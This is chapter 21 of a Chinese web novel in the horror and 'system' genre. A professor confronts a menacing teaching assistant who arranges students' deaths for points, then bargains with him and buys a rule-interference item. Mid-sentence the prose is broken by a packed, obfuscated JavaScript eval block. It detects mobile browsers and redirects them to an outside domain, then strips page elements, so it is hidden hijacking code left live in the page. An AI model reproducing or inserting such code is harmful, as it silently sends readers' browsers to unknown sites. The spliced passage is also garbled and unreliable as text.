章著金背对着官酉,坐在自己冰冷的铁架床边,湿发的水珠滴落在深色的睡衣上,晕开一小片更深的痕迹。 他没有任何反应,仿佛刚才的通知只是一阵无关紧要的风。 官酉的眼神却死死锁在那修长沉默的黑色背影上。 种种疑点,身份的交织,在这一刻终于聚焦成一个冰冷的确认信号。 他几乎是从牙缝里挤出声音。 那低沉、肯定又带着强烈的被愚弄的愤怒:“助教……果然是你。” 21. 中国结(21) 章著金叹了口气。 他没有回头,声音在死寂中响起,依旧是那副慵懒的调子,却少了之前的戏谑谑,多了几分漠然: “教授,我以为,有些话可以当面说?” 官酉没接这个话茬,他单刀直入,声音冷得可怕:“助教先生,‘永生池’的材料认知课,你的‘学习伙伴’会是什么?或者说,你打算让谁成为你‘引导’的第一个‘意外’?” “又或者说,章知白是你交出的第一单?” 空气骤然凝固。 章著金摩挲钥匙的动作停住了。 惨绿的光线下,官酉能看到他肩背的肌肉线条瞬间绷紧。 宿舍里只剩下两人压抑的呼吸声和腕间绳索轻微摩擦的窸窣声。 几秒钟死一般的沉寂后,章著金缓缓转过身。 他的脸上没有任何被戳穿的惊慌,反而带着一种……近乎赞赏的喜悦。 那双漂亮的桃花眼微微眯起,目光锐利冰冷,试图剖析官酉此刻的每一个细微表情。 “哦?”他拖长了尾音,嘴角勾起一个极浅、却毫无温度的弧度,“教授……真是令人刮目相看。什么时候发现的?” “从那条写着‘章知白’名字的数据流开始怀疑。”官酉毫不退缩地迎上他的目光,“藤蔓的异常是佐证。” “试胆大会上你身上那该死的‘干净’,还有橘猫那句‘活动室的人’和‘助教加剧意外’……这一切,加上你的名字,‘章著金’——著,或许是‘驻’?金,代表权限?或者,只是掠夺的成果?” 他故意顿了顿,目光扫过章著金被睡衣遮掩的胸口,“还有那道疤……章知白的疤。系统给你的身份标识吗?还是你覆盖他存在的……战利品?” 最后几个字,官酉咬得极重。 章著金的瞳孔几不可察地收缩了一下,眼底深处掠过一丝极淡的、被触及逆鳞的寒意。但他脸上的笑容反而加深了。 “想象力很丰富,教授。”他轻轻鼓掌,掌声在寂静中显得格外突兀刺耳,“不过,你猜对了一部分。我确实是‘助教’。” 他坦然承认,仿佛在说一件无关紧要的小事,“至于名字?章著金就是章著金。至于伤疤……” 他意味深长地笑了笑,“个人隐私,无可奉告。你只需要知道,我和章知白,是截然不同的两个个体。他……已经完成了他的使命。” “使命?”官酉的心脏猛地一抽,“什么使命?被你们掠夺的使命?!” “掠夺?”章著金仿佛听到了一个极其荒谬的词汇。 他摇了摇头,语气带着一种居高临下的怜悯,“不,教授,你不懂。这是‘融合’,是‘进化’,是更高维度的‘选择’。” “章知白的意识……或者说他残存的部分,为更高目标提供了必要的‘基质’和‘接口’。” 他指了指自己的太阳穴,“而我,是承载并执行这份‘选择’的更优解。” “他到底在哪?!”官酉的声音因愤怒和焦虑而微微发颤,他猛地向前一步,腕间绳索瞬间绷直,勒得两人手腕生疼。 章著金被迫也向前倾了倾身,两人距离近得能看清对方眼中自己的倒影。 他脸上的笑容消失了,只剩下冰冷的警告:“他无处不在,也……无处可寻。放弃无谓的追寻吧,官酉。” “专注于当下吧。比如,如何在接下来的‘永生池’里,保住你那几个可怜学员的命——当然,也包括你自己的。” 他手腕轻轻一抖,一股巧劲顺着绳索传来,官酉被带得一个趔趄,踉跄着后退半步,绳索重新松弛下来。 “作为助教,”章著金重新坐回床边,姿态优雅地整理了一下睡衣袖口,语气恢复了那种公事公办的漠然,“我的职责是‘润滑’教学流程,必要时‘修正’可能阻碍学习进度的‘意外因素’。” “黑色一星课堂的规则你也看到了,我的‘修正’,能为教师带来不菲的积分。”他抬眼,目光意有所指地扫过官酉,“265分……不少,但想活过四天三晚,还远远不够。我们可以合作。” “合作?”官酉怒极反笑,“用我学员的命换积分?休想!” “别说得那么难听。”章著金慢条斯理地说,“淘汰是规则的一部分。弱者的消亡,本就是为强者铺路。 “我只是在顺应规则,并最大化利用它。与其让他们在无知和恐惧中触发更可怕的连锁反应,不如由我引导,进行高效的、可控的‘筛选’。” “这样你能拿到积分,我能完成职责,剩下的学员也能在相对‘安全’的环境中学习。三赢。” 他的逻辑冰冷而残酷,带着一种很纯粹的理性。 而这种理性恰恰是章知白不会有的。 官酉感到一阵彻骨的寒意。 这不仅仅是助教,这更像是一个被系统完全同化、或者说本身就是系统一部分的“清道夫”。 “别打他们的主意。”官酉一字一顿,声音低沉的警告,“我会盯着你,章著金。你每一次试图制造‘意外’,我都会阻止。我的积分,不需要学员的血来换!” 章著金挑了挑眉,似乎觉得官酉的宣言既天真又可笑:“勇气可嘉,教授。” 他顿了一下,摇摇头:“但在这个地方,理想主义只会让你死得更快。况且……” 他晃了晃被绳索绑住的左手腕,“你打算怎么‘盯’着我?又怎么阻止我?别忘了,我们是‘命运共同体’。” “我若动手,你离得太近,难免不会被‘意外’波及。系统可不会管你是不是无辜。” 腕间绳索的存在,此刻成了章著金手中一张无形的牌。 既是枷锁,也是盾牌。 官酉沉默下来。 章著金的话戳中了他的软肋。 在3米范围内,如果章著金真要动手,他很难完全置身事外。 而且,章著金的手段必然诡谲难防,未必不需要近身搏杀。 抹杀倒计时:【08:59:41】 时间在无声对峙中流逝。 官酉的大脑飞速运转。 硬抗显然不是上策。 他需要时间,需要信息,需要……利用规则反制规则。 “合作可以。”官酉忽然开口,语气平静下来,带着一种谈判的意味,“但条件要变。” “哦?”章著金来了兴趣。 “第一,”官酉竖起一根手指,“在课堂期间,禁止你主动出手制造‘意外’。学员的死亡只能源于规则本身或他们自己的失误。你的职责是‘润滑’,那就好好‘润滑’,别越界。” “第二,”他竖起第二根手指,“我要知道关于‘永生池’的全部信息。材料、风险、你的‘学习伙伴’是什么。作为助教,你有权限知道这些内部资料。” “第三,”他直视章著金的眼睛,“我需要关于这个‘非遗学院’、关于系统、关于意识上传的核心规则信息,不涉及核心机密的部分。作为交换,在不违背我底线的前提下,在非课堂时间或特定情境下,我可以对你的某些‘职责履行’……视而不见。” 这是极大的让步,但官酉需要筹码,也需要麻痹对方。 章著金眯着眼,审视着官酉,似乎在评估这份新提案的价值和风险。 “很会讨价还价,教授。”他轻轻敲击着床沿,“第一条,可以。但规则本身的‘意外’和学员的愚蠢,我无法保证。” “第二条,‘永生池’的信息,我可以给你一部分,足够你们应付明天。但核心危险源,需要你自己探索,这是‘学习’的一部分。” 他狡猾地留了余地:“至于第三条……学院的核心规则?” 章著金嗤笑一声,语气有些嘲讽:“那些东西对你现在的层级毫无意义。不过,我可以告诉你一个有趣的小规则——积分,在这里是硬通货。不仅能兑换时间,还能兑换……‘权限’。比如,查阅某些非核心档案,或者……短暂地屏蔽掉某些烦人的‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982757|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小道具’。” 他的目光意有所指地扫过两人手腕间的绳索。 “权限?”官酉心中一动。 265分,或许能做点什么。 “成交。”章著金站起身,走向那张摇摇欲坠的木桌,“不过,教授,记住你的承诺。违反协议的话……”他回头,露出一个毫无温度的笑容,“我不介意让‘意外’变得更有……教育意义。” 他拉开瘸腿的椅子坐下,示意官酉也过来。手腕的绳索长度刚好允许官酉走到桌边坐下。 “关于‘永生池’……” 章著金的声音低沉下来,带着一丝不易察觉的……厌恶? “那是学院的‘生物材料培育与回收中心’。你们明天要‘认知’的材料,是一种活体生物组织……嗯,你可以理解为,具有高度神经活性、可塑性极强、且对精神波动极其敏感的……‘肉’。” “活体……肉?”官酉皱眉。 “对。它们……很‘新鲜’。新鲜到能看到细微的血管搏动,能感受到它们对外界刺激的‘反应’。” 章著金似乎想到了什么,舔了上扬的嘴角。 “触感训练要求你们在不破坏其神经活性的前提下,对其进行基础塑形……类似于,在不弄醒一条活蛇的情况下,把它盘成一个结。” 章著金描述得轻描淡写,内容却令官酉感到毛骨悚然。 “呕吐袋的提示很必要。第一次接触的人,精神污染指数会飙升。你的任务就是确保他们在发疯前完成基础塑形。教鞭……”他看了一眼官酉腰间,“对那些过于‘活泼’的个体,有强制镇定作用,但会降低材料品质,影响后续学习进度评分。慎用。” “你的‘学习伙伴’是什么?”官酉追问关键。 章著金沉默了一下,眼中闪过一丝异样的光芒:“一条……不太一样的‘材料’。它对‘教师’和‘助教’的气息尤其敏感。或者说,它对我身上的某些‘残留特质’非常‘眷恋’。它可能会……格外‘热情’。” “不过放心吧。”他看着官酉凝重的脸色,笑了笑,“我会处理好我的‘伙伴’。只要你们别来干扰我。” 他透露的信息有限但关键。 官酉默默记下。 “至于积分兑换权限,”章著金补充道,“教师系统里应该能查到。用你的意念呼唤‘积分商城’,选择‘权限兑换’子项。屏蔽类道具价格不菲,而且有持续时间限制。祝你好运。” 他说完,便不再言语,靠在椅背上闭目养神,仿佛刚才的交谈只是日常闲聊。 官酉也沉默下来,消化着这些信息,同时用意念尝试沟通积分商城。 【积分商城开启】 【权限兑换】子项亮起: 【低级信息屏蔽(范围:个体,时间:10分钟)】:150积分 【低级物理阻隔力场(范围:个体,时间:5分钟)】:200积分 【低级规则干扰(范围:特定道具,时间:3分钟)】:250积分(目标需明确锁定) 265分!正好够兑换一次【低级规则干扰】! 官酉的心跳微微加速。目标明确锁定……就是它了! 针对“两人三足绳”的规则干扰! 虽然只有短短3分钟,但这将是关键时刻的一张底牌! 他毫不犹豫地选择了兑换。 积分瞬间锐减至15分,但一股微弱却清晰的规则波动在他意识中生成,如同一个无形的开关,随时可以触发,目标直指腕间那根暗红绳索。 【兑换成功!获得:【低级规则干扰(绑定道具:两人三足绳)】x1(持续时间:3分钟)】 抹杀倒计时:【08:12:05】 时间不多了。 官酉靠在冰冷的椅背上,闭目养神。 明天将会是非比寻常的一天。 或许有很多意外发生,但那不重要,他有把握,也必须保证,明天是个平安天。